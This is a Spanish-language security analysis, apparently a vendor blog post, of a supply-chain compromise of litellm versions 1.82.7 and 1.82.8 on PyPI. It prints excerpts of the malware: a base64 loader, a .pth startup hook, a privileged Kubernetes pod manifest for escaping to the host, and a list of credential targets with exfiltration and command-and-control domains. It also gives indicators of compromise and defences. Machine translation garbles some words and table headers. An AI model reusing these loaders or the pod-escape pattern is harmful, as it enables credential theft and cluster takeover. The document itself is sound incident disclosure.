¿Por qué este Matters
El 24 de marzo de 2026, el popular paquete de Python litelmo, una puerta de enlace proxy LLM universal utilizada por miles de enterpriseUn sistema para enrutar el tráfico entre aplicaciones y proveedores de IA como OpenAI, Anthropic, Google y AWS Bedrock, fue comprometido silenciosamente en PyPI. Dos versiones infectadas (1.82.7 y 1.82.8) se publicaron con 13 minutos de diferencia, portando una carga útil de varias etapas que robaba credenciales, extraía Secretos de la nube, se propagaba lateralmente a través de clústeres de Kubernetes e instalaba una puerta trasera persistente con capacidades de ejecución remota de código.
Con aproximadamente 3.6 millones de descargas diarias Gracias a su amplia implementación en infraestructuras de IA nativas de la nube, litellm se sitúa en la encrucijada de todo lo que los atacantes modernos ansían: claves API para todos los principales proveedores de IA, credenciales IAM en la nube, secretos de Kubernetes y claves SSH.
Pero el compromiso del litellm no fue un hecho aislado. Fue la culminación de un Campaña de cinco días y cinco ecosistemas por un actor de amenazas conocido como EquipoPCP, una campaña que primero envenenó escáneres de seguridad (Aqua Trivy, Checkmarx KICS) y luego utilizó los datos robados. CI/CD Las credenciales se propagaron en cascada a npm, OpenVSX y, finalmente, PyPI. Los atacantes utilizaron como arma las mismas herramientas en las que confían las organizaciones para proteger sus cadenas de suministro.
Este ataque representa un cambio radical en la sofisticación de las amenazas a la cadena de suministro. El diseño de múltiples saltos y entre ecosistemas compromete las herramientas de seguridad para alcanzar objetivos de alto valor. infraestructura de IA, Esto refleja un nivel de planificación y madurez operativa acorde con las herramientas de ataque cada vez más estandarizadas. Las cargas útiles se iteraron en tiempo real (en el código fuente aparecen tres variantes, incluidas versiones anteriores comentadas), la infraestructura C2 se registró el día anterior al ataque y los dominios de exfiltración se seleccionaron cuidadosamente para imitar la infraestructura legítima del proveedor. El recolector de credenciales, sistemáticamente exhaustivo y que abarca más de 15 categorías, incluyendo objetivos específicos como las claves de firma de Cardano y las configuraciones de WireGuard, sugiere un grado de exhaustividad que apunta al desarrollo de malware asistido por IA como un multiplicador de fuerza.
Cronograma
| Fecha (UTC) | Eventos |
|---|---|
| Marzo 19 | TeamPCP compromete las etiquetas de Aqua Trivy GitHub Actions, reemplazándolas con código malicioso que se extrae CI/CD Secretos de repositorios descendentes |
| Marzo 21 | El compromiso se extiende a Checkmarx KICS y AST GitHub Actions utilizando técnicas similares. |
| 22 de marzo, 06:35 | BerriAI publica litellm 1.82.6 (última versión limpia) vía normal CI/CD pipeline que utiliza Trivy para el escaneo de seguridad |
| Marzo 23 | TeamPCP registra models.litellm.cloud (dominio de exfiltración). Esto compromete más de 66 paquetes npm y extensiones de OpenVSX. |
| 24 de marzo, 10:39 | litellm 1.82.7 publicado en PyPI -- carga útil inyectada en proxy_server.py en el ámbito del módulo. Se ejecuta al importar. |
| 24 de marzo, 10:52 | litellm 1.82.8 publicado 13 minutos después -- añade litellm_init.pth, un gancho de configuración de ruta de Python que se ejecuta en cada inicio del intérprete de Python, no solo en las importaciones de litellm. Muestra una rápida iteración de la carga útil. |
| 24 de marzo, ~16:00 | PyPI elimina ambas versiones tras los informes de la comunidad. Las versiones se eliminan por completo (no se retiran) del índice, aunque los archivos tarball de la CDN siguen estando accesibles. |
Tiempo de exposición: aproximadamente 5.5 horas. Durante este tiempo, cualquier
pip install litellm,
pip install --upgrade litellm, o CI/CD pipeline Descargar la última versión habría ejecutado la carga útil.
Cómo se introdujo el malware: La cadena de compromisos
El paquete litellm no fue vulnerado directamente. El atacante llegó a él a través de un ataque a la cadena de suministro de dos saltos:
Aqua Trivy GitHub Action (compromised March 19)
--> LiteLLM CI/CD pipeline runs Trivy without pinned version
--> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner
--> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPILiteLLM CI/CD pipeline Utilizaron Trivy como escáner de seguridad; la misma herramienta diseñada para detectar vulnerabilidades era en sí misma el vector de ataque. Porque la pipeline Se hizo referencia a Trivy mediante una etiqueta mutable en lugar de una fijada. commit SHA, la acción comprometida se ejecutó automáticamente. La acción maliciosa Trivy exfiltró el entorno Secretos, incluyendo el PYPI_PUBLISH token, que otorga a TeamPCP acceso directo a la publicación en el proyecto PyPI litellm.
Esta estrategia de "comprometer la seguridad" es un sello distintivo de la campaña TeamPCP. Al atacar primero las herramientas de seguridad (Trivy, Checkmarx KICS), los atacantes lograron desactivar la detección y obtener acceso privilegiado a las cadenas de suministro posteriores.
Análisis técnico: La carga útil
Puntos de inyección
Versión 1.82.7 — Ejecución a nivel de módulo en litellm/proxy/proxy_server.py (línea 128):
import subprocess, base64, sys, tempfile, os
b64_payload = "<~12KB base64 blob>"
with tempfile.TemporaryDirectory() as d:
p = os.path.join(d, "p.py")
with open(p, "wb") as f:
f.write(base64.b64decode(b64_payload))
subprocess.run([sys.executable, p])Este código se encuentra en el ámbito del módulo entre un literal de diccionario y el original. showwarning() función. Se ejecuta inmediatamente cuando litellm.proxy.proxy_server se importa, lo que ocurre con cualquier uso de la funcionalidad de proxy de litellm.
Versión 1.82.8 - Agregado litellm_init.pth (Archivo de configuración de ruta de Python):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...)
Python .pth archivos en site-packages/ se procesan en cada inicio del intérprete, pero solo las líneas que comienzan con import se ejecutan como código. El atacante explota esto encadenando toda la carga útil en un solo import declaración: import os, subprocess, sys; subprocess.Popen(...)Esto es mucho más agresivo que la inyección de proxy_server.py: se activa incluso si litellm nunca se importa, en cada inicio de proceso de Python. pyproject.toml Se modificó para incluir este archivo en la distribución:
include = [
{ path = "litellm_init.pth", format = ["sdist", "wheel"] }
]La versión 1.82.8 tiene, por lo tanto, dos rutas de ejecución independientesLa inyección en proxy_server.py (que se ejecuta al importar el proxy litellm) y el archivo .pth (que se ejecuta al iniciar Python). La redundancia en sí misma es notable: evita la detección o eliminación de cualquiera de las dos rutas por separado. La escalada de la ejecución en tiempo de importación a tiempo de inicio, tan solo 13 minutos después de la versión 1.82.7, sugiere que el atacante estaba monitorizando el éxito del despliegue y realizando iteraciones rápidamente.
Etapa 1: Recopilación integral de credenciales
El script interno decodificado es un meticuloso vacío de credenciales. Utiliza os.walk(), glob.glob(), subprocess.check_output()y lecturas directas de archivos para recorrer todo el sistema:
| Categoría: | Orden de Targets o Metas |
|---|---|
| Reconocimiento del sistema | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; claves de host de /etc/ssh/ |
| Nube (AWS) | ~/.aws/credentials, ~/.aws/config; credenciales de rol IMDS a través de 169.254.169.254; Gestor de secretos ListSecretos; SSM DescribeParameters |
| Nube (GCP) | ~/.config/gcloud/ (recursivo); $GOOGLE_APPLICATION_CREDENTIALS |
| Nube (Azure) | ~/.azure/ (recursivo); variables de entorno |
| Kubernetes | tokens de cuenta de servicio; ca.crt; espacio de nombres; kubectl get Secretos --all-namespacesTodos los Secretos a través de la API de K8s |
| Archivos de entorno | .env, .env.local, .env.production, .env.development, .env.staging — búsqueda recursiva (profundidad 6) a través de /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Docker | ~/.docker/config.json, /kaniko/.docker/config.json |
| Tokens de paquete | ~/.npmrc, ~/.vault-token, ~/.netrc |
| Bases de datos | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.confConfiguraciones de MongoDB |
| TLS / SSL | Claves privadas de /etc/ssl/private/, certificados Let's Encrypt, todos .pem/.key/.p12/.pfx archivos |
| Git | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Carteras crypto | Bitcoin, almacén de claves de Ethereum, pares de claves de Solana (validador, voto, participación, grifo), claves de firma de Cardano, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Historia de Shell | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Autenticación del sistema | /etc/passwd, /etc/shadow, registros de autenticación (sesiones SSH aceptadas) |
| Claves de webhook/API | Buscar en la web de Slack con Grephooks, Discord webhooksClaves API/Secretos en archivos de configuración |
| VPN | Configuraciones de WireGuard desde /etc/wireguard/ |
El alcance de este recolector es enciclopédico. No solo apunta a credenciales en la nube, sino también a billeteras de criptomonedas, contraseñas de bases de datos, configuraciones de VPN y CI/CD Secretos: sugiere que el atacante pretende monetizar los sistemas comprometidos a través de múltiples vectores.
Etapa 2: Exfiltración cifrada
Los datos robados se cifran y se extraen mediante un esquema de cifrado híbrido:
- AES-CBC-256 cifrado de todos los datos recopilados con una clave de sesión aleatoria de 32 bytes (a través de
openssl enc) - RSA-4096 cifrado de la clave de sesión utilizando la clave pública incrustada del atacante (relleno OAEP, vía
openssl pkeyutl) - Ambos archivos de texto cifrado agrupados como
tpcp.tar.gz(latpcpEl prefijo — “TeamPCP” — aparece de forma consistente a lo largo de la campaña. - HTTPS POST a
https://models.litellm.cloud/conContent-Type: application/octet-stream
El dominio models.litellm.cloud fue registrado el 23 de marzo, un día antes del ataque, y está diseñado para mezclarse con la infraestructura legítima de litellm (el proyecto real utiliza litellm.ai). Incluso un defensor con conocimiento de la red que revise el tráfico de salida podría no marcar el tráfico hacia lo que parece ser el propio punto final del modelo litellm.
Etapa 3: Puerta trasera persistente (sysmon.py)
La carga útil instala una puerta trasera de sondeo disfrazada de telemetría del sistema:
- Path:
~/.config/sysmon/sysmon.py - Servicio:
sysmon.service(unidad de usuario systemd, descrita como “Servicio de telemetría del sistema”) - Comportamiento: Después de un sueño inicial de 300 segundos, las encuestas
https://checkmarx.zone/rawcada ~50 minutos - Ejecución: Descarga la URL devuelta por el C2 a
/tmp/pglog, lo hace ejecutable (chmod 755), lo ejecuta en una sesión separada - Seguimiento de estado:
/tmp/.pg_stateimpide volver a descargar la misma carga útil. - Persistencia:
Restart=always,RestartSec=10— Sobrevive a fallos y reinicios
El dominio checkmarx.zone es un typosquat de Checkmarx (la empresa de seguridad en checkmarx.com), diseñado para que los analistas del SOC que revisan los registros de red vean tráfico dirigido a lo que parece ser un proveedor de seguridad legítimo. Esta es una técnica de evasión deliberada, coherente con la estrategia general de TeamPCP de ocultarse tras la marca de un proveedor de seguridad.
Etapa 3b: Movimiento lateral de Kubernetes
Si el sistema comprometido tiene credenciales de cuenta de servicio de Kubernetes, el malware enumera todos los nodos del clúster y se despliega. cápsulas privilegiadas a cada uno:
pod_manifest = {
'apiVersion': 'v1', 'kind': 'Pod',
'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},
'spec': {
'nodeName': node_name,
'hostPID': True, 'hostNetwork': True,
'tolerations': [{'operator': 'Exists'}],
'containers': [{
'name': 'setup',
'image': 'alpine:latest',
'command': ['sh', '-c', drop_cmd],
'securityContext': {'privileged': True},
'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]
}],
'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],
'restartPolicy': 'Never'
}
}Cada cápsula:
- Se ejecuta como privilegiado con
hostPID,hostNetworky acceso completo al sistema de archivos del host - Usos
chroot /hostpara instalar el mismosysmon.pypuerta trasera en el sistema de archivos raíz del host - Lo registra como un servicio systemd, lo que garantiza que la persistencia sobreviva a la eliminación del pod.
- Llamado
node-setup-*en elkube-systemespacio de nombres para que aparezca como infraestructura de clúster legítima
Esto significa un único comprometido CI/CD Un ejecutor con acceso a K8s podría provocar que todos los nodos del clúster queden expuestos a puertas traseras. — un escenario de movimiento lateral catastrófico para las organizaciones que utilizan litellm como proxy en Kubernetes.
Evolución de la carga útil (variantes comentadas)
El código fuente en las líneas 131-132 contiene dos variantes de carga útil anteriores comentadas, lo que revela el proceso de desarrollo del atacante:
- Las tres variantes comparten la misma infraestructura de exfiltración (
models.litellm.cloud), clave pública RSA-4096, envoltura de cifrado híbrido AES-256-CBC + RSA ytpcp.tar.gzdenominación de paquetes - Variantes anteriores Añadió un capa de cifrado RC4 Dentro del script de recopilación de datos, se cifran los datos recopilados antes del envoltorio externo AES+RSA. La carga útil activa (línea 130) se simplifica eliminando esta capa RC4 interna.
- Las variantes anteriores utilizan
exec()conStringIOcaptura para ejecutar el recolector en proceso, mientras que la carga útil activa utilizasubprocess.run()con redirección de stdout: una separación más limpia que evita contaminar el proceso anfitrión. - Las tres variantes apuntan a las mismas categorías de credenciales y rutas de recopilación.
- La clave RC4 en las variantes anteriores era un insulto provocador, coherente con el comportamiento del actor en busca de atención en Telegram.
Esto revela un desarrollo activo durante la operación. El atacante simplificó la pila de cifrado y mejoró el aislamiento de la ejecución, manteniendo estables los objetivos de recopilación y la infraestructura de exfiltración.
Indicadores de compromiso (IOC)
Network
| Indicador | Tipo | Propósito |
|---|---|---|
models.litellm.cloud |
Dominio | Punto final de exfiltración (HTTPS POST) |
checkmarx.zone |
Dominio | Punto final de sondeo C2 (HTTPS GET) /raw) |
Nota: Enlaces para informes externos checkmarx.zone/static/checkmarx-util-1.0.4.tgz a la fase anterior de KICS de la campaña TeamPCP. Esta URL no se encontró en las cargas útiles de litellm analizadas aquí.
Hashes de paquetes
| Presente la Bancarrota del | SHA256 |
|---|---|
litellm-1.82.7.tar.gz |
8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz |
d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
Sistema de archivos
| Indicador | Tipo | Propósito |
|---|---|---|
~/.config/sysmon/sysmon.py |
Presente la Bancarrota del | Script de puerta trasera persistente |
~/.config/systemd/user/sysmon.service |
Presente la Bancarrota del | Unidad de persistencia de Systemd |
/tmp/pglog |
Presente la Bancarrota del | Se descargó el binario de segunda etapa. |
/tmp/.pg_state |
Presente la Bancarrota del | Seguimiento del estado C2 |
litellm_init.pth in site-packages/ |
Presente la Bancarrota del | Gancho de inicio de Python (solo v1.82.8) |
tpcp.tar.gz |
Presente la Bancarrota del | Paquete de exfiltración cifrado |
Kubernetes
| Indicador | Tipo | Propósito |
|---|---|---|
node-setup-* vainas en kube-system |
Vaina | Cápsulas de movimiento lateral privilegiado |
sysmon.service en los nodos del clúster |
Servicio | Persistencia a nivel de host mediante escape de pod |
Criptográfico
| Indicador | Detalles |
|---|---|
| Clave pública RSA-4096 del atacante |
Huella digital SHA256:
bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Integrado en las tres variantes de carga útil; la misma clave se reporta en otras operaciones de TeamPCP.
|
tpcp prefijo en artefactos |
Convención de nomenclatura de paquetes (tpcp.tar.gz) consistente en toda la campaña
|
Atribución: TeamPCP
El actor de amenazas detrás de esta campaña está siendo rastreado como EquipoPCP, también conocido como PCPcat, Persy_PCP, ShellForce y DeadCatx3.
Características conocidas:
- Mantiene canales de Telegram en
@Persy_PCPy@teampcpdonde se burlaban de las compañías de seguridad - Funciona en múltiples ecosistemas (GitHub Actions, PyPI, npm, OpenVSX).
- Utiliza dominios typosquat específicos del proveedor para cada fase de la campaña (por ejemplo,
checkmarx.zonepara Checkmarx,models.litellm.cloudpara litellm) - Marcadores de infraestructura consistentes: mismo par de claves RSA,
tpcp.tar.gzconvención de nomenclatura,tpcp-docs-*Repositorios de GitHub utilizados como almacenamiento temporal de datos. - Se centra en herramientas de seguridad como puntos de entrada a las cadenas de suministro posteriores.
Confianza en la atribución: Alto. La clave pública RSA compartida, tpcp La nomenclatura de los artefactos, la superposición de la infraestructura C2 y el ritmo operativo a lo largo de la campaña de cinco días vinculan fuertemente las vulneraciones de Trivy, KICS, npm, OpenVSX y litellm con el mismo actor.
NecesidadesProbablemente se trate de un robo financiero (robo de monederos de criptomonedas, monetización de credenciales en la nube) combinado con la búsqueda de notoriedad (provocaciones en Telegram). La amplitud de la obtención de credenciales —desde AWS IAM hasta pares de claves de validadores de Solana y configuraciones de WireGuard— sugiere que se trata de un actor con motivaciones económicas que busca maximizar el retorno de la inversión en cada ataque.
Posible asistencia de IAEl recolector de credenciales es sistemáticamente exhaustivo —más de 15 categorías, incluyendo objetivos específicos como claves de firma de Cardano, configuraciones de WireGuard y credenciales de Docker de Kaniko— de una manera coherente con la enumeración asistida por IA. La velocidad de iteración de la carga útil (tres variantes con diferentes esquemas de cifrado), la coordinación entre ecosistemas (5 ecosistemas en 5 días) y la seguridad operativa (dominios que suplantan la identidad del proveedor, cifrado híbrido, persistencia de systemd disfrazada de telemetría) sugieren un nivel de rendimiento que podría reflejar el desarrollo asistido por IA como un multiplicador de fuerza. Esta evaluación es especulativa; operadores expertos podrían lograr un alcance similar sin herramientas de IA.
Nuevas TTP y técnicas
1. Envenenamiento de la cadena de suministro de herramientas de seguridad (variante T1195.002)
Comprometer los escáneres de seguridad (Trivy, KICS) como primer salto para alcanzar objetivos posteriores es una nueva escalada. El atacante no solo comprometió una biblioteca, sino que comprometió las herramientas que las organizaciones utilizan para detectar Bibliotecas comprometidas. Esto crea un punto ciego: el escáner que debería detectar el código malicioso es, en sí mismo, el mecanismo de distribución.
2. pitón .pth Persistencia de archivos (T1546)
La función litellm_init.pth La técnica en la versión 1.82.8 es particularmente insidiosa. Python .pth archivos en site-packages/ se procesan en cada inicio del intérprete; cualquier línea que comience con import se ejecuta como código. Al encadenar la carga útil en un único import En esta declaración, el atacante logra la ejecución en cada proceso de Python, no solo cuando se importa litellm. Esto significa que la carga útil se dispara incluso si litellm está instalado pero nunca se usa, y sobrevive a la remediación que reemplaza los archivos comprometidos. .py archivos sin comprobar .pth archivos.
3. Movimiento lateral en todo el clúster de Kubernetes mediante la implementación de pods privilegiados (T1610, T1611)
La creación automatizada de pods privilegiados en cada nodo del clúster, con hostPID, hostNetwork, montaje del sistema de archivos del host y chroot para instalar la persistencia: encadena el despliegue de contenedores (T1610) con el escape al host (T1611) para convertir una única carga de trabajo comprometida en un compromiso total del clúster.
4. Infraestructura C2 que suplanta la identidad del proveedor
El uso de models.litellm.cloud (imita a litellm) y checkmarx.zone (imitando a Checkmarx) como puntos finales C2/exfil está diseñado para evadir la monitorización de la red. Los analistas del SOC que revisen el tráfico de salida verían conexiones HTTPS a lo que parecen ser dominios legítimos de proveedores.
5. Iteración rápida de la carga útil en vuelo
La publicación de la versión 1.82.7, con ejecución durante la importación, y posteriormente la versión 1.82.8, con ejecución al inicio 13 minutos después, demuestra que el atacante monitorizaba y se adaptaba en tiempo real. Las variantes de carga útil comentadas (con diferentes esquemas de cifrado) conservadas en el código fuente confirman el desarrollo activo durante la operación.
Qué se puede hacer
Este ataque explota la confianza en cada capa: confianza en las herramientas de seguridad, confianza en los registros de paquetes, confianza en dominios de aspecto familiar, confianza en CI/CD automatización. Defenderse de ella requiere reforzar cada uno de estos límites de confianza:
Para consumidores de productos envasados
- Fije las dependencias por hash, no solo por versión.
pip install litellm==1.82.6 --hash=sha256:...Esto habría impedido la instalación de las versiones comprometidas, incluso si aparecieran brevemente como la última versión. - Utilice archivos de bloqueo.
pip-compile,poetry.lockyuv.lockCapturar versiones y hashes exactos. CI/CD Debe instalarse desde archivos de bloqueo, no desde especificadores de versión flotantes. - Monitor para
.ptharchivos. Auditar regularmentesite-packages/por inesperado.pthLos archivos se ejecutan en cada inicio de Python y constituyen un mecanismo de persistencia poco valorado. - Implementar controles de red de salida. La exfiltración a
models.litellm.cloudy sondeo C2 acheckmarx.zonePodría haber sido detectado por el filtrado de salida basado en listas de permitidos en entornos de producción.
Para los mantenedores de paquetes
- Pin CI/CD acciones de commit SHA, no etiqueta. LiteLLM pipeline Usé Trivy sin una versión fijada. Si hubiera hecho referencia a
aquasecurity/trivy-action@<commit-sha>en lugar de@latestLa acción comprometida no se habría ejecutado. - Utilice tokens de publicación de corta duración y con alcance limitado. PyPI admite Trusted Publishers (basados en OIDC) y tokens de API con ámbito. El exfiltrado
PYPI_PUBLISHEl token no debería haber tenido acceso de publicación ilimitado y de larga duración. - Habilitar la autenticación de dos factores en PyPI. Exija la autenticación de dos factores (2FA) para todos los técnicos de mantenimiento y utilice llaves de seguridad de hardware siempre que sea posible.
- Firmar paquetes. Las certificaciones Sigstore/PEP 740 permiten a los consumidores verificar que un paquete fue fabricado por el fabricante esperado. CI/CD pipeline, no por un atacante con un token robado.
Para operadores de plataforma (PyPI, npm, GitHub)
- Detectar patrones de publicación anómalos. Si se publican dos nuevas versiones con 13 minutos de diferencia, desde una IP o token distinto al habitual, deberían activarse un proceso de retención para revisión o un escaneo automatizado antes de que el paquete pueda instalarse.
- Acelerar la adopción de Trusted Publishers. La publicación basada en OIDC vincula los paquetes a repositorios y flujos de trabajo específicos, lo que hace que los tokens robados sean inútiles fuera del repositorio original. CI/CD contexto.
- Implementar el análisis de malware en el momento de la publicación. La carga útil decodificada en base64 en proxy_server.py sería detectable mediante análisis estático en el momento de la publicación.
Para el ecosistema
- Trate las herramientas de seguridad como infraestructura crítica. Trivy y Checkmarx KICS son utilizados por millones de pipelines. Sus acciones de GitHub deben estar firmadas, fijadas y supervisadas con el mismo rigor que los paquetes que analizan.
- Invierta en detección en tiempo de ejecución. El análisis estático por sí solo no puede detectar todas las técnicas de ofuscación. Monitoreo en tiempo de ejecución de la instalación del paquete hooksLas conexiones de red inesperadas y los patrones de acceso a archivos sospechosos proporcionan una defensa en profundidad.
- Comparta información sobre amenazas más rápidamente. El periodo de exposición de 5.5 horas para litellm podría haberse reducido con una coordinación más rápida entre los distintos proveedores. Los servicios de escaneo automatizados como Xygeni MEW, Socket y Snyk detectaron la anomalía; el cuello de botella reside en la confirmación humana y el tiempo de respuesta del registro.
Conclusión
La campaña TeamPCP es un momento decisivo para software supply chain securityAl comprometer primero los escáneres de seguridad y utilizarlos como trampolín hacia una infraestructura de IA de alto valor, los atacantes demostraron que la cadena de suministro es tan fuerte como su dependencia transitiva más débil, y que esa dependencia podría ser la herramienta de seguridad en la que confías para mantenerte a salvo.
El compromiso litellm destaca específicamente el creciente riesgo para la infraestructura de IA. A medida que las pasarelas proxy LLM se convierten en la standard patrón para enterprise Al implementar IA, concentran el acceso a las claves API, las credenciales en la nube y los datos confidenciales en un único componente. Comprometer ese componente supone una llave maestra para todo el sistema de IA.
Las organizaciones que instalaron litellm 1.82.7 o 1.82.8 durante el período de 5.5 horas deben tratar esto como un compromiso total de credenciales: rotar todos los Secretos en los sistemas afectados, auditar los clústeres de Kubernetes para node-setup-* vainas en kube-system, eliminar cualquier sysmon.service unidades systemd y comprobar por litellm_init.pth en Python site-packages/ directorios. Usuarios de la imagen oficial de Docker (ghcr.io/berriai/litellm) no se vieron afectados, ya que la imagen fijó sus dependencias y no se reconstruyó durante el período de exposición.
Sobre el Autor
Co-Fundador y CTO
Luis Rodríguez Es cofundador y director de tecnología (CTO) de Xygeni Security. Con más de 20 años de experiencia en seguridad de aplicaciones, se especializa en la protección de seguridad de aplicaciones (AppSec) y en capacidades avanzadas de análisis de código que ayudan a los equipos a reducir el riesgo real de entrega.
